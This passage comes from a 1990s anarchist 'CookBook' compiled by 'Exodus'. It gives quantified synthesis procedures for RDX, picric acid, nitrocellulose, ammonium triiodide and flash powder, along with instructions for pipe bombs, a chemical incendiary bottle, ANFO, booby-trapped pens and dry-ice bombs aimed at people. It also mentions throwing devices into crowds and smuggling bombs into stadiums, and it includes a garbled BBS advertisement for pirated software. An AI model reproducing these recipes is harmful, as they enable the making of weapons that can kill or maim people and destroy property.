(4) Do not store flash compositions, especially any containing Mg.
(5) Make very small quantities at first, so you can appreciate the power
of such mixtures.
KNO3 50% (by weight)
Mg 50%
It is very important to have the KNO3 very dry, if evolution of ammonia is
observed then the KNO3 has water in it. Very pure and dry KNO3 is needed.
KClO3 with Mg or Al metal powders works very well. Many hands, faces and
lives have been lost with such compositions.
KMnO4 with Mg or Al is also an extremely powerful flash composition.
KClO4 with Al is generally found in comercial fireworks, this does not
mean that it is safe, it is a little safer than KClO3 above.
K2Cr2O7 can also be used as an oxidizer for flash powder.
The finer the oxidizer and the finer the metal powder the more powerful the
explosive. This of course will also increase the sensetivity of the flash
powder.
For a quick flash small quantities can be burnt in the open.
Larger quantities (50g or more) ignited in the open can detonate, they do not
need a container to do so.
NOTE: Flash powder in any container will detonate.
Balanced equations of some oxidizer/metal reactions. Only major products
are considered. Excess metal powders are generally used. This excess
burns with atmospheric oxygen.
4 KNO3 + 10 Mg --> 2 K2O + 2 N2 + 10 MgO + energy
KClO3 + 2 Al --> KCl + Al2O3 + energy
3 KClO4 + 8 Al --> 3 KCl + 4 Al2O3 + energy
6 KMnO4 + 14 Al --> 3 K2O + 7 Al2O3 + 6 Mn + energy
Make Black Powder first if you have never worked with pyrotechnic
materials, then think about this stuff.
Dr. Van Tiel- Ph.D. Chemistry
Potassium perchlorate is a lot safer than sodium/potassium chlorate.
Compiled By:
-= Exodus =-
'94
The Firey Explosive Pen Written by Blue Max of Anarchist-R-Us
-----------------------
Materials Needed Here's a GREAT little trick to play on
1] One Ball Point `Click` pen your best fiend (no thats not a typo) at
2] Gun Powder skool, or maybe as a practial joke on a
3] 8 or 10 match heads friend!
4] 1 Match stick
5] a sheet of sand paper (1 1/2" X 2")
1] Unscrew pen and remove all parts but leave the button in the top.
2] Stick the match stick in the part of the pen clicker where the other little
parts and the ink fill was.
3] Roll sand paper up and put around the match stick that is in the clicker.
4] Put the remaining Match Heads inside the pen, make sure that they are on
the inside on the sand paper.
5] Put a small piece of paper or something in the other end of the pen where
the ball point comes out.
6] Fill the end with the piece of paper in it with gun powder. The paper is
to keep the powder from spilling.
The Finished pen should look like this:
Small Paper Clog Gun Powder Matches & Sandpaper \
| |
\ | |
\ _________________|____________________|________
<_______________________________|_______________|===
call the RIPCO bulletin board, 'a hell of a bbs' at (xxx) xxx-xxxx
-= Exodus=- makin' more for '94
PIPE BOMBS FROM SOFT METAL PIPES -= Exodus =-
First, one flattens one end of a copper or aluminum pipe carefully, making
sure not to tear or rip the piping. Then, the flat end of the pipe should be
folded over at least once, if this does not rip the pipe. A fuse hole should
be drilled in the pipe near the now closed end, and the fuse should be
inserted.
Next, the bomb- builder would partially fill the casing with a low order
explosive, and pack it with a large wad of tissue paper. He would then
flatten and fold the other end of the pipe with a pair of pliers. If he was
not too dumb, he would do this slowly, since the process of folding and
bending metal gives off heat, which could set off the explosive. A diagram is
presented below:
(Ill. #1)
ÚÂÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³ ³
³ ³ o ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿³ ³
ÀÁÄÄÄÄÄÄÙ
fig. 1 pipe with one end flattened and fuse hole drilled (top view)
(Ill. #2)
ÚÄÄÂÄÄ¿
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
³ ³ ³
³ o ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³
ÀÄÄÁÄÄÙ
fig. 2 pipe with one end flattened and folded up (top view)
(Ill. #3)
ÚÄÄÄÄÄÄÄÄÄÄÄ fuse hole
³
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄoÄÄÄÄ¿ ÚÄÄÄÄ¿
³ À¿ ÀÄÄ¿ ³
³ ÀÄÄÄÄÙ ³
³ ÚÄÄÄÄÄÄÙ
³ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
fig. 3 pipe with flattened and folded end (side view)
(Revised ill. 4.14)
SAFETY TIPS -- HOW NOT TO GET KILLED (Ways to avoid scoring an "Own Goal")
An "own goal" is the death of a person on your side from one of
your own devices. It is obvious that these should be avoided at all
costs. While no safety device is 100% reliable, it is usually better to
err on the side of caution.
BASIC SAFETY RULES
1) DON'T SMOKE! (don't laugh- an errant cigarette wiped out the Weathermen)
2) GRIND ALL INGREDIENTS SEPERATELY. It's suprising how friction sensitive
some supposedly "safe" explosives really are.
3) ALLOW for a 20% margin of error- Just because the AVERAGE burning rate of a
fuse is 30 secs/foot, don't depend on the 5 inches sticking out of your
pipe bomb to take exactly 2.5 minutes.
4) OVERESTIMATE THE RANGE OF YOUR SHRAPNEL. The cap from a pipe bomb can
oftentravel a block or more at high velocities before coming to rest- If
you have to stay nearby, remember that if you can see it, it can kill you.
5) When mixing sensitive compounds (such as flash powder) avoid all sources of
static electricity. Mix the ingredients by the method below:
HOW TO MIX INGREDIENTS
The best way to mix two dry chemicals to form an explosive is to do as
the small-scale fireworks manufacturer's do:
Ingredients:
1 large sheet of smooth paper (for example a page from a newspaper that does
not use staples)
The dry chemicals needed for the desired compound.
1) Measure out the appropriate amounts of the two chemicals, and pour them in
two small heaps near opposite corners of the sheet.
2) Pick up the sheet by the two corners near the powders, allowing the powders
to roll towards the middle of the sheet.
3) By raising one corner and then the other, roll the powders back and forth
in the middle of the open sheet, taking care not to let the mixture spill
from either of the loose ends.
4) Pour the powder off from the middle of the sheet, and use immediately. If
it must be stored use airtight containers (35mm film canisters work
nicely) and store away from people, houses, and valuable items.
-= Exodus =-
AMMONIUM TRIIODIDE CRYSTALS
Ammonium triiodide crystals are foul-smelling purple colored crystals
that decompose under the slightest amount of heat, friction, or shock, if they
are made with the purest ammonia (ammonium hydroxide) and iodine. Such
crystals are said to detonate when a fly lands on them, or when an ant walks
across them. Household ammonia, however, has enough impurities, such as soaps
and abrasive agents, so that the crystals will detonate when thrown,crushed,
or heated. Ammonia, when bought in stores comes in a variety of forms. The
pine and cloudy ammonias should not be bought; only the clear ammonia should
be used to make ammonium triiodide crystals. Upon detonation, a loud report is
heard, and a cloud of purple iodine gas appears about the detonation site.
Whatever the unfortunate surface that the crystal was detonated upon will
usually be ruined, as some of the iodine in the crystal is thrown about in a
solid form, and iodine is corrosive. It leaves nasty, ugly, permanent
brownish-purple stains on whatever it contacts. Iodine gas is also bad news,
since it can damage lungs, and it settles to the ground and stains things
there also. Touching iodine leaves brown stains on the skin that last for
about a week, unless they are immediately and vigorously washed off. While
such a compound would have little use to a serious terrorist, a vandal could
utilize them in damaging property. Or, a terrorist could throw several of
them into a crowd as a distraction, an action which would possibly injure a
few people, but frighten almost anyone, since a small crystal that may not be
seen when thrown produces a rather loud explosion.
Ammonium triiodide crystals could be produced in the following manner:
Materials Equipment
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
iodine crystals funnel and filter paper
paper towels
clear ammonia
(ammonium hydroxide, two throw-away glass jars
for the suicidal)
1) Place about two teaspoons of iodine into one of the glass jars. The jars
must both be throw away because they will never be clean again.
2) Add enough ammonia to completely cover the iodine.
3) Place the funnel into the other jar, and put the filter paper in the
funnel. The technique for putting filter paper in a funnel is taught in
every basic chemistry lab class: fold the circular paper in half, so that a
semi-circle is formed. Then, fold it in half again to form a triangle with
one curved side. Pull one thickness of paper out to form a cone, and place
the cone into the funnel.
4) After allowing the iodine to soak in the ammonia for a while, pour the
solution into the paper in the funnel through the filter paper.
5) While the solution is being filtered, put more ammonia into the first jar
to wash any remaining crystals into the funnel as soon as it drains.
6) Collect all the purplish crystals without touching the brown filter paper,
and place them on the paper towels to dry for about an hour. Make sure
that they are not too close to any lights or other sources of heat, as they
could well detonate. While they are still wet, divide the wet material into
eight pieces of about the same size.
7) After they dry, gently place the crystals onto a one square inch piece of
duct tape. Cover it with a similar piece, and gently press the duct tape
together around the crystal, making sure not to press the crystal itself.
Finally, cut away most of the excess duct tape with a pair of scissors, and
store the crystals in a cool dry safe place. They have a shelf life of
about a week, and they should be stored in individual containers that can
be thrown away, since they have a tendency to slowly decompose, a process
which gives off iodine vapors, which will stain whatever they settle on.
One possible way to increase their shelf life is to store them in airtight
containers. To use them, simply throw them against any surface or place
them where they will be stepped on or crushed.
-= Exodus =-
SULFURIC ACID by Exodus
Sulfuric acid is far too difficult to make outside of a laboratory or
industrial plant. However, it is readily available in an uncharged car
battery. A person wishing to make sulfuric acid would simply remove the top of
a car battery and pour the acid into a glass container. There would probably
be pieces of lead from the battery in the acid which would have to be removed,
either by boiling or filtration. The concentration of the sulfuric acid can
also be increased by boiling it; very pure sulfuric acid pours slightly faster
than clean motor oil.
AMMONIUM NITRATE
Ammonium nitrate is a very powerful but insensitive high-order explosive.
It could be made very easily by pouring nitric acid into a large flask in an ice
bath. Then, by simply pouring household ammonia into the flask and running away,
ammonium nitrate would be formed. After the materials have stopped reacting, one
would simply have to leave the solution in a warm place until all of the water
and any unneutralized ammonia or acid have evaporated. There would be a fine
powder formed, which would be ammonium nitrate. It must be kept in an airtight
container, because of its tendency to pick up water from the air. The crystals
formed in the above process would have to be heated VERY gently to drive off the
remaining water.
BLACK POWDER 3
First made by the Chinese for use in fireworks, black powder was first
used in weapons and explosives in the 12th century. It is very simple to
make, but it is not very powerful or safe. Only about 50% of black powder is
converted to hot gasses when it is burned; the other half is mostly very fine
burned particles. Black powder has one major problem: it can be ignited by
static electricity. This is very bad, and it means that the material must be
made with wooden or clay tools. Anyway, a misguided individual could
manufacture black powder at home with the following procedure:
MATERIALS EQUIPMENT
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
potassium clay grinding bowl
nitrate (75 g) and clay grinder
or or
sodium wooden salad bowl
nitrate (75 g) and wooden spoon
sulfur (10 g) plastic bags (3)
charcoal (15 g) 300-500 ml beaker (1)
distilled water coffee pot or heat source
1) Place a small amount of the potassium or sodium nitrate in the grinding
bowl and grind it to a very fine powder. Do this to all of the potassium or
sodium nitrate, and store the ground powder in one of the plastic bags.
2) Do the same thing to the sulfur and charcoal, storing each chemical in a
separate plastic bag.
3) Place all of the finely ground potassium or sodium nitrate in the beaker,
and add just enough boiling water to the chemical to get it all wet.
4) Add the contents of the other plastic bags to the wet potassium or sodium
nitrate, and mix them well for several minutes. Do this until there is no
more visible sulfur or charcoal, or until the mixture is universally black.
5) On a warm sunny day, put the beaker outside in the direct sunlight.
Sunlight is really the best way to dry black powder, since it is never too
hot, but it is hot enough to evaporate the water.
6) Scrape the black powder out of the beaker, and store it in a safe
container. Plastic is really the safest container, followed by paper. Never
store black powder in a plastic bag, since plastic bags are prone to generate
static electricity.
Another addition to the CookBook...... -= Exodus =- '94
NITROCELLULOSE -= Exodus =-
Nitrocellulose is usually called "gunpowder" or "guncotton". It is more
stable than black powder, and it produces a much greater volume of hot gas. It
also burns much faster than black powder when it is in a confined space.
Finally, nitrocellulose is fairly easy to make, as outlined by the following
procedure:
MATERIALS EQUIPMENT
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
cotton (cellulose) two (2) 200-300 ml beakers
concentrated funnel and filter paper
nitric acid
blue litmus paper
concentrated
sulfuric acid
distilled water
1) Pour 10 cc of concentrated sulfuric acid into the beaker. Add to this 10
cc of concentrated nitric acid.
2) Immediately add 0.5 gm of cotton, and allow it to soak for exactly 3
minutes.
3) Remove the nitrocotton, and transfer it to a beaker of distilled water to
wash it in.
4) Allow the material to dry, and then re-wash it.
5) After the cotton is neutral when tested with litmus paper, it is ready to
be dried and stored.
R.D.X. 2
R.D.X., also called cyclonite, or composition C-1 (when mixed with
plasticisers) is one of the most valuable of all military explosives. This is
because it has more than 150% of the power of T.N.T., and is much easier to
detonate. It should not be used alone, since it can be set off by a not-too
severe shock. It is less sensitive than mercury fulminate, or nitroglycerine,
but it is still too sensitive to be used alone.
NO
2
|
N
/ \ RDX MOLECULE
/ \
H C H C
/ 2 2
/ |
O N N--NO
2 \ / 2
\ /
\ /
CH
2
R.D.X. can be made by the surprisingly simple method outlined hereafter. It
is much easier to make in the home than all other high explosives, with the
possible exception of ammonium nitrate.
MATERIALS EQUIPMENT
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
hexamine 500 ml beaker
or
methenamine glass stirring rod
fuel tablets (50 g)
funnel and filter paper
concentrated
nitric acid (550 ml) ice bath container (plastic bucket)
distilled water centigrade thermometer
table salt blue litmus paper
ice ammonium nitrate
1) Place the beaker in the ice bath, (see section 3.13, steps 3-4) and carefully
pour 550 ml of concentrated nitric acid into the beaker.
2) When the acid has cooled to below 20 degrees centigrade, add small amounts
of the crushed fuel tablets to the beaker. The temperature will rise, and
it must be kept below 30 degrees centigrade, or dire consequences could
result. Stir the mixture.
3) Drop the temperature below zero degrees centigrade, either by adding more
ice and salt to the old ice bath, or by creating a new ice bath. Or,
ammonium nitrate could be added to the old ice bath, since it becomes cold
when it is put in water. Continue stirring the mixture, keeping the
temperature below zero degrees centigrade for at least twenty minutes
4) Pour the mixture into a litre of crushed ice. Shake and stir the mixture,
and allow it to melt. Once it has melted, filter out the crystals, and
dispose of the corrosive liquid.
5) Place the crystals into one half a litre of boiling distilled water. Filter
the crystals, and test them with the blue litmus paper. Repeat steps 4 and
5 until the litmus paper remains blue. This will make the crystals more
stable and safe.
6) Store the crystals wet until ready for use. Allow them to dry completely
using them. R.D.X. is not stable enough to use alone as an explosive.
7) Composition C-1 can be made by mixing 88.3% R.D.X. (by weight) with 11.1%
mineral oil, and 0.6% lecithin. Kneed these material together in a plastic
bag. This is one way to desensitize the explosive.
8) H.M.X. is a mixture of T.N.T. and R.D.X.; the ratio is 50/50, by weight.
it is not as sensitive, and is almost as powerful as straight R.D.X.
9) By adding ammonium nitrate to the crystals of R.D.X. after step 5, it
should be possible to desensitize the R.D.X. and increase its power, since
ammonium nitrate is very insensitive and powerful. Soduim or potassium
nitrate could also be added; a small quantity is sufficient to stabilize
the R.D.X.
10) R.D.X. detonates at a rate of 8550 meters/second when it is compressed to a
density of 1.55 g/cubic cm.
-= Exodus =-
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛ áoe'€K GŽç• áá_ ÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛ ãåë‰ 1 ÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ
³ ³ ³OEoe뀄ç 3.90_ ÛÛÛÛÛ ÛÛÛÛÛ '€‹ë_‹€• ëOE_çù
ÀÄÁÄÙ ÛÛÛÛÛÛÛÛ €H™_ ý
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ
ÛÛ ÛÛÛÛÛÛ ÛÛ
ÛÛÛÛÛÛÛÛ
1* (20!)-YOU-SUCK ÛÛÛÛÛÛÛÛ EliTe MaIL
2* (20!)-REAL-BAD ÛÛÛÛÛÛÛÛÛÛ -=( NO LEECHES )=-
ÛÛÛÛÛÛÛÛÛÛ FL, PA, NY, CA
2 RinGdoWN 9600's ÛÛÛÛÛÛÛÛÛÛÛÛ CoNNexioNs
1 LocAl 57000 !@ ÛÛÛÛÛÛÛÛÛÛÛÛ
-0+ DaY WarEZ ÛÛ‡‹ë_Ÿoeˆ_hÛÛ Sysop - Exodus
ANFOS
ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution. An ANFO
solves the only other major problem with ammonium nitrate: its tendency to
pick up water vapor from the air. This results in the explosive failing to
detonate when such an attempt is made. This is rectified by mixing 94% (by
weight) ammonium nitrate with 6% fuel oil, or kerosene. The kerosene keeps
the ammonium nitrate from absorbing moisture from the air. An ANFO also
requires a large shockwave to set it off.
About ANFO (From Dean S.)
Lately there was been a lot said about various ANFO mixtures. These are
mixtures of Ammonium Nitrate with Fuel Oil. This forms a reasonably powerful
commercial explosive, with its primary benifit being the fact that it is
cheap. Bulk ANFO should run somewhere around 9-12 cents the pound. This is
dirt cheap compared to 40% nitro gel dynamites at 1 to 2 dollars the pound. To
keep the cost down, it is frequently mixed at the borehole by a bulk truck,
which has a pneumatic delivery hopper of AN prills (thats pellets to most of
the world) and a tank of fuel oil. It is strongly recommended that a dye of
some sort, preferably red be added to the fuel oil to make it easier to
distinguish treated AN explosive from untreated oxidizer.
ANFO is not without its problems. To begin with, it is not that sensitive
to detonation. Number eight caps are not reliable when used with ANFO.
Booster charges must be used to avoid dud blast holes. Common boosters
include sticks of various dynamites, small pours of water gel explosives,
dupont's detaprime cast boosters, and Atlas's power primer cast explosive. The
need to use boosters raises the cost. Secondly, ANFO is very water
susceptable. It dissolves in it, or absorbes it from the atmosphere, and
becomes quite worthless real quick. It must be protected from water with
borehole liners, and still must be shot real quick. Third, ANFO has a low
density, somewhere around .85. This means ANFO sacks float, which is no good,
and additionally, the low density means the power is somewhat low. Generally,
the more weight of explosive one can place in a hole, the more effective.
ANFO blown into the hole with a pneumatic system fractures as it is places,
raising the density to about .9 or .92. The delivery system adds to the cost,
and must be anti static in nature. Aluminum is added to some commercial,
cartridge packaged ANFOs to raise the density---this also raises power
considerable, and a few of these mixtures are reliablly cap sensitive.
Now than, for formulations. An earlier article mentioned 2.5 kilos of
ammonium nitrate, and I believe 5 to 6 liters of diesel. This mixture is
extremely over fueled, and I'd be surprised if it worked. Dupont recommends a
AN to FO ratio of 93% AN to 7% FO by weight. Hardly any oil at all. More oil
makes the mixture less explosive by absorbing detonation energy, and excess
fuel makes detonation byproducts health hazzards as the mixture is oxygen
poor. Note that commercial fertilizer products do not work as well as the
porous AN prills dupont sells, because fertilizers are coated with various
materials meant to seal them from moisture, which keep the oil from being
absorbed.
Another problem with ANFO: for reliable detonation, it needs confinement,
either from a casing, borehole, etc, or from the mass of the charge. Thus, a
pile of the stuff with a booster in it is likely to scatter and burn rather
than explode when the booster is shot. In boreholes, or reasonable strong
casings (cardboard, or heavy plastic film sacks) the stuff detonated quite
well. So will big piles. Thats how the explosive potential was discovered: a
small oil freighter rammed a bulk chemical ship. Over several hours the
cargoes intermixed to some degree, and reached critical mass. Real big bang.
A useful way to obtain the containment needed is to replace the fuel oil with
a wax fuel. Mix the AN with just enough melted wax to form a cohesive
mixture, mold into shape. The wax fuels, and retains the mixture. This is
what the US military uses as a man placed cratering charge. The military
literature states this can be set off by a blasting cap, but it is important
to remember the military blasting caps are considerable more powerful than
commercial ones. The military rightly insists on reliability, and thus a
strong cap (maybe 70-80 percent stronger than commercial). They also tend to
go overboard when calculating demolition charges...., but then hey, who
doesn't....
Two manuals of interest: Duponts "Blaster's Handbook", a $20 manual mainly
useful for rock and seismographic operations. Atlas's "Powder Manual" or
"Manual of Rock Blasting" (I forget the title, its in the office). This is a
$60 book, well worth the cash, dealing with the above two topics, plus
demolitions, and non-quarry blasting.
Incidently, combining fuel oil and ammonium nitrate constitutes the
manufacture of a high explosive, and requires a federal permit to manufacture
and store. Even the mines that mix it on site require the permit to
manufacture. Those who don't manufacture only need permits to store. Those
who don't store need no permits, which includes most of us: anyone, at least
in the US may purchase explosives, provided they are 21 or older, and have no
criminal record. Note they ought to be used immediately, because you do need
a liscence to store. Note also that commercial explosives contain quantities
of tracing agents, which make it real easy for the FBI to trace the explosion
to the purchaser, so please, nobody blow up any banks, orphanages, or old
folks homes, okay.
D. S.- Civil Engineer at large.
Brought to you in the CookBook IV..
-= Exodus =-
PICRIC ACID Brought to you by: -= Exodus =-
Picric acid, also known as Tri-Nitro-Phenol, or T.N.P., is a military
explosive that is most often used as a booster charge to set off another less
sensitive explosive, such as T.N.T. It another explosive that is fairly
simple to make, assuming that one can acquire the concentrated sulfuric and
nitric acids. Its procedure for manufacture is given in many college
chemistry lab manuals, and is easy to follow. The main problem with picric
acid is its tendency to form dangerously sensitive and unstable picrate salts,
such as potassium picrate. For this reason, it is usually made into a safer
form, such as ammonium picrate, also called explosive D. A social deviant
would probably use a formula similar to the one presented here to make picric
acid.
MATERIALS EQUIPMENT
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
phenol (9.5 g) 500 ml flask
concentrated adjustable heat source
sulfuric acid (12.5 ml)
1000 ml beaker
concentrated nitric or other container
acid (38 ml) suitable for boiling in
distilled water filter paper
and funnel
glass stirring rod
1) Place 9.5 grams of phenol into the 500 ml flask, and carefully add 12.5 ml
of concentrated sulfuric acid and stir the mixture.
2) Put 400 ml of tap water into the 1000 ml beaker or boiling container and
bring the water to a gentle boil.
3) After warming the 500 ml flask under hot tap water, place it in the boiling
water, and continue to stir the mixture of phenol and acid for about thirty
minutes. After thirty minutes, take the flask out, and allow it to cool
for about five minutes.
4) Pour out the boiling water used above, and after allowing the container to
cool, use it to create an ice bath, similar to the one used in section
3.13, steps 3-4. Place the 500 ml flask with the mixed acid an phenol in
the ice bath. Add 38 ml of concentrated nitric acid in small amounts,
stirring the mixture constantly. A vigorous but "harmless" reaction should
occur. When the mixture stops reacting vigorously, take the flask out of
the ice bath.
5) Warm the ice bath container, if it is glass, and then begin boiling more
tap water. Place the flask containing the mixture in the boiling water,
and heat it in the boiling water for 1.5 to 2 hours.
6) Add 100 ml of cold distilled water to the solution, and chill it in an ice
bath until it is cold.
7) Filter out the yellowish-white picric acid crystals by pouring the solution
through the filter paper in the funnel. Collect the liquid and dispose of
it in a safe place, since it is corrosive.
8) Wash out the 500 ml flask with distilled water, and put the contents of the
filter paper in the flask. Add 300 ml of water, and shake vigorously.
9) Re-filter the crystals, and allow them to dry.
10) Store the crystals in a safe place in a glass container, since they will
react with metal containers to produce picrates that could explode
spontaneously.
CHEMICAL FIRE BOTTLE
The chemical fire bottle is really an advanced molotov cocktail. Rather
than using the burning cloth to ignite the flammable liquid, which has at best
a fair chance of igniting the liquid, the chemical fire bottle utilizes the
very hot and violent reaction between sulfuric acid and potassium chlorate.
When the container breaks, the sulfuric acid in the mixture of gasoline sprays
onto the paper soaked in potassium chlorate and sugar. The paper, when struck
by the acid, instantly bursts into a white flame, igniting the gasoline. The
chance of failure to ignite the gasoline is less than 2%, and can be reduced
to 0%, if there is enough potassium chlorate and sugar to spare.
MATERIALS EQUIPMENT
ÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
potassium chlorate 12 oz.glass bottle
(2 teaspoons)
sugar (2 teaspoons) cap for bottle, w/plastic inside
conc. sulfuric acid (4 oz.) cooking pan with raised edges
gasoline (8 oz.) paper towels
glass or plastic cup and spoon
1) Test the cap of the bottle with a few drops of sulfuric acid to make sure
that the acid will not eat away the bottle cap during storage. If the acid
eats through it in 24 hours, a new top must be found and tested, until a
cap that the acid does not eat through is found. A glass top is excellent.
2) Carefully pour 8 oz. of gasoline into the glass bottle.
3) Carefully pour 4 oz. of concentrated sulfuric acid into the glass bottle.
Wipe up any spills of acid on the sides of the bottle, and screw the cap on
the bottle. Wash the bottle's outside with plenty of water. Set it aside
to dry.
4) Put about two teaspoons of potassium chlorate and about two teaspoons of
sugar into the glass or plastic cup. Add about 1/2 cup of boiling water,
or enough to dissolve all of the potassium chlorate and sugar.
5) Place a sheet of paper towel in the cooking pan with raised edges. Fold
the paper towel in half, and pour the solution of dissolved potassium
chlorate and sugar on it until it is thoroughly wet. Allow the towel to
dry.
6) When it is dry, put some glue on the outside of the glass bottle containing
the gasoline and sulfuric acid mixture. Wrap the paper towel around the
bottle, making sure that it sticks to it in all places. Store the bottle
in a place where it will not be broken or tipped over.
7) When finished, the solution in the bottle should appear as two distinct
liquids, a dark brownish-red solution on the bottom, and a clear solution
on top. The two solutions will not mix. To use the chemical fire bottle,
simply throw it at any hard surface.
8) NEVER OPEN THE BOTTLE, SINCE SOME SULFURIC ACID MIGHT BE ON THE CAP, WHICH
COULD TRICKLE DOWN THE SIDE OF THE BOTTLE AND IGNITE THE POTASSIUM
CHLORATE, CAUSING A FIRE AND/OR EXPLOSION.
9) To test the device, tear a small piece of the paper towel off the bottle,
and put a few drops of sulfuric acid on it. The paper towel should
immediately burst into a white flame.
BOTTLED GAS EXPLOSIVES
Bottled gas, such as butane for refilling lighters, propane for propane
stoves or for bunsen burners, can be used to produce a powerful explosion. To
make such a device, all that a simple-minded anarchist would have to do would
be to take his container of bottled gas and place it above a can of Sterno or
other gelatinized fuel, light the fuel and run. Depending on the fuel used,
and on the thickness of the fuel container, the liquid gas will boil and
expand to the point of bursting the container in about five minutes.
In theory, the gas would immediately be ignited by the burning gelatinized
fuel, producing a large fireball and explosion. Unfortunately, the bursting of
the bottled gas container often puts out the fuel, thus preventing the
expanding gas from igniting. By using a metal bucket half filled with
gasoline, however, the chances of ignition are better, since the gasoline is
less likely to be extinguished. Placing the canister of bottled gas on a bed
of burning charcoal soaked in gasoline would probably be the most effective
way of securing ignition of the expanding gas, since although the bursting of
the gas container may blow out the flame of the gasoline, the burning charcoal
should immediately re-ignite it. Nitrous oxide, hydrogen, propane, acetylene,
or any other flammable gas will do nicely.
During the recent gulf war, fuel/air bombs were touted as being second only
to nuclear weapons in their devastating effects. These are basically similar
to the above devices, except that an explosive charge is used to rupture the
fuel container and disperse it over a wide area. a second charge is used to
detonate the fuel. The reaction is said to produce a massive shockwave and to
burn all the oxygen in a large area, causing suffocation.
Another benefit of a fuel-air explosive is that the gas will seep into
fortified bunkers and other partially-sealed spaces, so a large bomb placed in
a building would result in the destruction of the majority of surrounding
rooms, rendering it structurally unsound.
Exodus '94
Fun with dry ice... LOTS of fun with dry ice. (from the Usenet.)
---------------------------------------------
There is no standard formula for a dry ice bomb, however a generic form is
as follows:
Take a 2-liter soda bottle, empty it completely, then add about 3/4 Lb of
Dry Ice (crushed works best) and (optional) a quantity of water.
Depending on the condition of the bottle, the weather, and the amount and
temperature of the bottle the bomb will go off in 30 seconds - 5 minutes.
Without any water added, the 2-liter bottles will go often in 3-7 minutes if
dropped into a warm river, and in 45 minutes to 1 1/2 hours in open air.
The explosion sounds equivalent to an M-100. _Plastic_ 16 oz. soda bottles
and 1 liter bottles work almost as well as do the 2-liters, however glass
bottles aren't nearly as loud, and can produce dangerous shrapnel.
Remember, these are LOUD! A classmate of mine set up 10 bottles
in a nearby park without adding water. After the first two went off (there
was about 10 minutes between explosions) the Police arrived and spent the
next hour trying to find the guy who they thought was setting off M-100's
all around them...
USES FOR DRY ICE
Time Bombs:
1. Get a small plastic container with lid (we used the small plastic cans
that hold the coaters used for large-format Polaroid film). A film canister
would probably work; the key is, it should seal tightly and take a fair
amount of effort to open).
Place a chunk of dry ice in the can, put on the lid without quite
sealing it. Put the assembled bomb in your pocket, or behind your back.
Approach the mark and engage in normal conversation. When his attention
is drawn away, quickly seal the lid on the bomb, deposit it somewhere
within a few feet of the mark, out of obvious sight, then leave.
Depending on variables (you'll want to experiment first), you'll hear a
loud "pop" and an even louder "Aarrggghhh!" within a minute, when the CO2
pressure becomes sufficient to blow off the lid.
In a cluttered lab, this is doubly nasty because the mark will proabably
never figure out what made the noise.
2. Put 2-3 inches of water in a 2-liter plastic pop bottle. Put in as many
chunks of dry ice as possible before the smoke gets too thick. Screw on the
cap, place in an appropriate area, and run like hell. After about a minute
(your mileage may vary), a huge explosion will result, spraying water
everywhere, along with what's left of the 2-liter bottle.
More things to do with Dry Ice:
Has anyone ever thrown dry ice into a public pool? As long as you chuck it
into the bottom of the deep end, it's safe, and it's really impressive if the
water is warm enough
"Fun stuff. It SCREAMS when it comes into contact with metal..."
"You can safely hold a small piece of dry ice in your mouth if you
KEEP IT MOVING CONSTANTLY. It looks like you're smoking or on fire."
Editor's Note: Dry ice can be a lot of fun, but be forewarned:
Using anything but plastic to contain dry ice bombs is suicidal. Dry ice
is more dangerous than TNT, because it's extremely unpredictable. Even a
2-liter bottle can produce some nasty shrapnel: One source tells me that he
caused an explosion with a 2-liter bottle that destroyed a metal garbage can.
In addition, it is rumored that several kids have been killed by shards of
glass resulting from the use of a glass bottle. For some reason, dry ice bombs
have become very popular in the state of Utah. As a result, dry ice bombs have
been classified as infernal devices, and possession is a criminal offense.
A classic for the Book..
-= Exodus =- '94
IGNITION DEVICES
There are many ways to ignite explosive devices. There is the classic
"light the fuse, throw the bomb, and run" approach, and there are sensitive
mercury switches, and many things in between. Generally, electrical
detonation systems are safer than fuses, but there are times when fuses are
more appropriate than electrical systems; it is difficult to carry an
electrical detonation system into a stadium, for instance, without being
caught. A device with a fuse or impact detonating fuze would be easier to
hide.
FUSE IGNITION
The oldest form of explosive ignition, fuses are perhaps the favorite
type of simple ignition system. By simply placing a piece of waterproof fuse
in a device, one can have almost guaranteed ignition. Modern waterproof fuse
